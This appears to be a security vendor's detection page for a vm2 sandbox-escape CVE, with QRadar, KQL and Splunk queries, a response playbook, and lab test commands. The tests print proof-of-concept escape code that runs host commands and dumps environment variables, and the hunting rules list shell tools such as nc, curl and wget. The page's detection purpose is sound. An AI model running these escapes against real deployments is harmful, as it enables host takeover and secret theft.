Detect vm2 Sandbox Escape via JSPI-backed Promise .finally() Species Bypass in IBM QRadar
Detects exploitation of CVE-2026-47210, a critical sandbox escape vulnerability in the npm vm2 library (versions <= 3.11.3). The vulnerability abuses the JavaScript Promise Integration (JSPI) mechanism and the Promise species pattern in .finally() to escape the vm2 sandbox and execute arbitrary code on the host. A public PoC exists and exploitation grants full host access with the privileges of the Node.js process.
MITRE ATT&CK
- Tactic
- Execution Privilege Escalation
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
username,
"Process Name" AS process_name,
"Command" AS command_line,
"Parent Process Name" AS parent_process,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Linux OS', 'Endpoint')
AND (
(LOWER("Command") ILIKE '%vm2%' AND LOWER("Process Name") ILIKE '%node%')
OR (
LOWER("Parent Process Name") ILIKE '%node%'
AND LOWER("Command") ILIKE ANY ('%execsync%', '%spawnsync%', '%child_process%', '%exec(%')
)
)
AND starttime > NOW() - 86400000
ORDER BY starttime DESC
LAST 1000 AQL query identifying Node.js processes associated with vm2 or child processes spawned from Node.js using execution-related APIs. Targets both direct vm2 invocations and downstream exploit payloads calling process execution functions.
Data Sources
Required Tables
False Positives & Tuning
- Node.js applications legitimately using vm2 for user script sandboxing in multi-tenant platforms
- Testing harnesses that combine vm2 with execSync for integration test cleanup routines
- Webpack or similar build tools that call child processes as part of normal build pipelines under Node.js
- Server-side rendering frameworks using vm2 for SSR isolation that also manage worker processes
Other platforms for CVE-2026-47210
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 JSPI Species Bypass — Host Process Execution via Promise.finally
Expected signal: Process creation event: node spawning child process (sh -c 'id > /tmp/vm2_escape_test.txt') or direct execSync call visible in process audit logs. File creation event for /tmp/vm2_escape_test.txt by the node process.
- Test 2vm2 Sandbox Escape — Environment Variable Exfiltration
Expected signal: Node.js process accessing environment variables in a vm2 run context. Application-layer logging may show unexpected JSON serialization of env object. No child process is spawned, so EDR process-tree signals may not fire — rely on vm2 audit logging if enabled.
- Test 3vm2 Version Audit and Vulnerable Instance Discovery
Expected signal: Process creation events for find and node commands reading package.json files. File access events on node_modules directories. No malicious activity — this is a discovery/audit test.
- Test 4vm2 Sandbox Escape on Windows — Host Command Execution via species bypass
Expected signal: Windows Security Event Log (Event ID 4688) showing node.exe creating a child process (cmd.exe or conhost.exe). EDR telemetry showing process tree: node.exe -> cmd.exe with whoami command. File creation event for C:\Temp\vm2_escape.txt.
References (5)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q
- https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47210
- https://github.com/advisories/GHSA-6j2x-vhqr-qr7q
Response Playbook
Triage
- Identify all hosts running Node.js applications that include vm2 <= 3.11.3 as a dependency. Query package-lock.json or yarn.lock files across your environment, or use software inventory/SBOM tooling to enumerate vulnerable deployments.
- Determine whether the vm2 instance is publicly reachable (e.g., exposed via a web API that accepts and executes user-supplied code). Internet-facing vm2 deployments with PoC-public exploit status should be treated as potentially compromised.
- Review process trees for all flagged Node.js processes: look for unexpected child processes (shells, curl, wget, python, nc) spawned from node. Check parent-child relationships in EDR telemetry going back 48 hours from detection.
- Assess the privilege level of the vulnerable Node.js process. A process running as root or with elevated capabilities significantly increases blast radius if exploited.
Containment
- Immediately isolate any host where sandbox escape is confirmed or strongly suspected. Remove the host from the network segment or use EDR network isolation to prevent lateral movement or data exfiltration while investigation proceeds.
- Force-update vm2 to version 3.11.4 or higher on all affected applications. If an immediate patch is not feasible, disable or remove the vm2-dependent functionality temporarily to reduce attack surface while a fix is prepared.
- Rotate credentials, API keys, and secrets accessible to the Node.js process environment on any host where exploitation cannot be ruled out, as attackers may have harvested environment variables or accessed secret stores.
Evidence Collection
- Capture full process execution history for the affected Node.js process, including environment variables, loaded modules, and file system activity. Use EDR forensic data collection or acquire a memory dump if the process is still running.
- Collect application logs and Node.js runtime output for the period surrounding the alert. Look for unusual JavaScript errors, unhandled rejections, or output that may reflect injected code execution. Preserve original log files with chain-of-custody controls before remediation.
Escalation Criteria
- !Escalate immediately to incident response if any unexpected outbound network connection is observed from the Node.js process or its children, especially to external IP addresses or over non-standard ports — this indicates active exploitation with C2 communication.
- !Escalate if a shell (bash, sh, cmd.exe, powershell.exe) or credential-harvesting tool (mimikatz, LaZagne) is found as a child process of the node process, or if persistence mechanisms (cron entries, scheduled tasks, new service registrations) are discovered in the investigation window.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js process environment variables at time of compromise (captured via /proc/<pid>/environ on Linux or process handle dumps on Windows) - >
Child process creation records showing unexpected binaries spawned from node, particularly shells or network tools - >
File system modifications made by the Node.js process outside its expected working directory (new scripts, cron entries, SSH authorized_keys modifications) - >
Network connection records for the node process establishing outbound connections to external hosts post-exploitation
Tuning Guidance
Begin with high-confidence signals: shell or network tool processes (bash, sh, curl, wget, nc) spawned directly from node.exe/node with a vm2 reference in the parent command line. These generate minimal false positives. Broaden to include child processes whose parent is node without the vm2 string only after baselining your environment's legitimate node subprocess usage. Exclude known CI/CD pipeline hosts and developer workstations if their subprocess patterns are well-understood and inventoried. Use package inventory data to scope detections only to hosts with confirmed vm2 <= 3.11.3 installations, substantially reducing noise. Tune the 5-minute sequence window down to 60–90 seconds in environments where node applications should never spawn shells at all.
Hunting Queries
Retrospective hunt for shell or utility processes spawned directly by node/node.exe over the past 7 days. Catches historical exploitation that may have preceded alert tuning, and surfaces hosts that warrant deeper forensic review.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ('node', 'node.exe')
| where FileName in~ ('bash', 'sh', 'zsh', 'cmd.exe', 'powershell.exe', 'curl', 'wget', 'python', 'python3', 'nc', 'ncat', 'perl')
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFolderPath
| order by Timestamp desc index=main sourcetype=process_creation earliest=-7d
| where parent_process LIKE "%node%"
| where process IN ("bash", "sh", "zsh", "cmd.exe", "powershell.exe", "curl", "wget", "python", "python3", "nc", "perl")
| stats count BY host, user, process, cmdline, parent_cmdline
| sort -count Atomic Red Team Tests
Simulates the CVE-2026-47210 exploit pattern by loading vm2 <= 3.11.3 and crafting a Promise.finally species override to escape the sandbox and execute a host command. For use in isolated lab environments only.
Command
node -e "
const { VM } = require('vm2');
const vm = new VM({ timeout: 5000, sandbox: {} });
try {
vm.run(\`
const p = Promise.resolve();
p.constructor[Symbol.species] = function(exec) {
exec(() => {}, (e) => {});
const cp = this.constructor;
// Abuse species resolution to reference host Promise
return { then: (r) => r(process) };
};
p.finally(() => {}).then((hostProcess) => {
hostProcess.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_test.txt');
});
\`);
} catch(e) { console.log('Blocked or patched:', e.message); }
" Cleanup
rm -f /tmp/vm2_escape_test.txt Expected Telemetry
Process creation event: node spawning child process (sh -c 'id > /tmp/vm2_escape_test.txt') or direct execSync call visible in process audit logs. File creation event for /tmp/vm2_escape_test.txt by the node process.
Expected Detection
Chronicle YARA-L and EQL sequence rules trigger on node spawning a shell child process within 300 seconds of a vm2-referencing command line. CrowdStrike CQL join fires on the ProcessRollup2 events. Sumo Logic and Splunk queries flag the exec_hit indicator.
Tests whether a vm2 sandbox escape can be used to read and exfiltrate the host process environment variables, simulating credential harvesting post-exploitation.
Command
TEST_SECRET=supersecret123 node -e "
const { VM } = require('vm2');
const vm = new VM({ timeout: 5000 });
try {
const result = vm.run(\`
const species = function(exec) {
exec(() => {}, () => {});
return { then: (r) => r(process.env) };
};
const p = Promise.resolve();
Object.defineProperty(p.constructor, Symbol.species, { get: () => species });
let envData;
p.finally(() => {}).then((env) => { envData = JSON.stringify(env); });
envData;
\`);
console.log('Exfil result:', result ? result.substring(0, 200) : 'null (async)');
} catch(e) { console.log('Mitigated:', e.message); }
" Cleanup
No persistent artifacts; environment variable access is in-memory only. Expected Telemetry
Node.js process accessing environment variables in a vm2 run context. Application-layer logging may show unexpected JSON serialization of env object. No child process is spawned, so EDR process-tree signals may not fire — rely on vm2 audit logging if enabled.
Expected Detection
This test primarily validates that the escape mechanism functions; process-level detections may not fire without a child process. Use as a control to confirm vm2 version vulnerability before testing the process-spawn variant.
Enumerates all Node.js applications on the system with vm2 installed and checks whether the installed version is <= 3.11.3, identifying hosts that require patching.
Command
find / -name 'package.json' -path '*/node_modules/vm2/package.json' 2>/dev/null | while read f; do
version=$(node -e "console.log(require('$f').version)" 2>/dev/null);
appdir=$(echo $f | sed 's|/node_modules/vm2/package.json||');
echo "vm2@$version found in $appdir";
done Cleanup
No changes made; read-only enumeration. Expected Telemetry
Process creation events for find and node commands reading package.json files. File access events on node_modules directories. No malicious activity — this is a discovery/audit test.
Expected Detection
Should not trigger exploit detection rules. Can be used to baseline the scope of exposure before patching and to validate that post-patch versions are correctly updated to >= 3.11.4.
Windows variant of the CVE-2026-47210 PoC pattern, testing whether the JSPI species escape can invoke cmd.exe via child_process on a Windows host with vm2 <= 3.11.3.
Command
node -e "const { VM } = require('vm2'); const vm = new VM({ timeout: 5000, sandbox: {} }); try { vm.run('const p = Promise.resolve(); p.constructor[Symbol.species] = function(exec) { exec(()=>{},()=>{}); return { then: (r) => r(process) }; }; p.finally(()=>{}).then((hp) => { hp.mainModule.require(\"child_process\").execSync(\"whoami > C:\\\\Temp\\\\vm2_escape.txt\"); });'); } catch(e) { console.log('Blocked:', e.message); }" Cleanup
del C:\Temp\vm2_escape.txt Expected Telemetry
Windows Security Event Log (Event ID 4688) showing node.exe creating a child process (cmd.exe or conhost.exe). EDR telemetry showing process tree: node.exe -> cmd.exe with whoami command. File creation event for C:\Temp\vm2_escape.txt.
Expected Detection
KQL query over DeviceProcessEvents fires on node.exe spawning cmd.exe. CrowdStrike CQL join detects ProcessRollup2 parent-child pair. Splunk query flags escape_indicators=1 with parent_process matching node.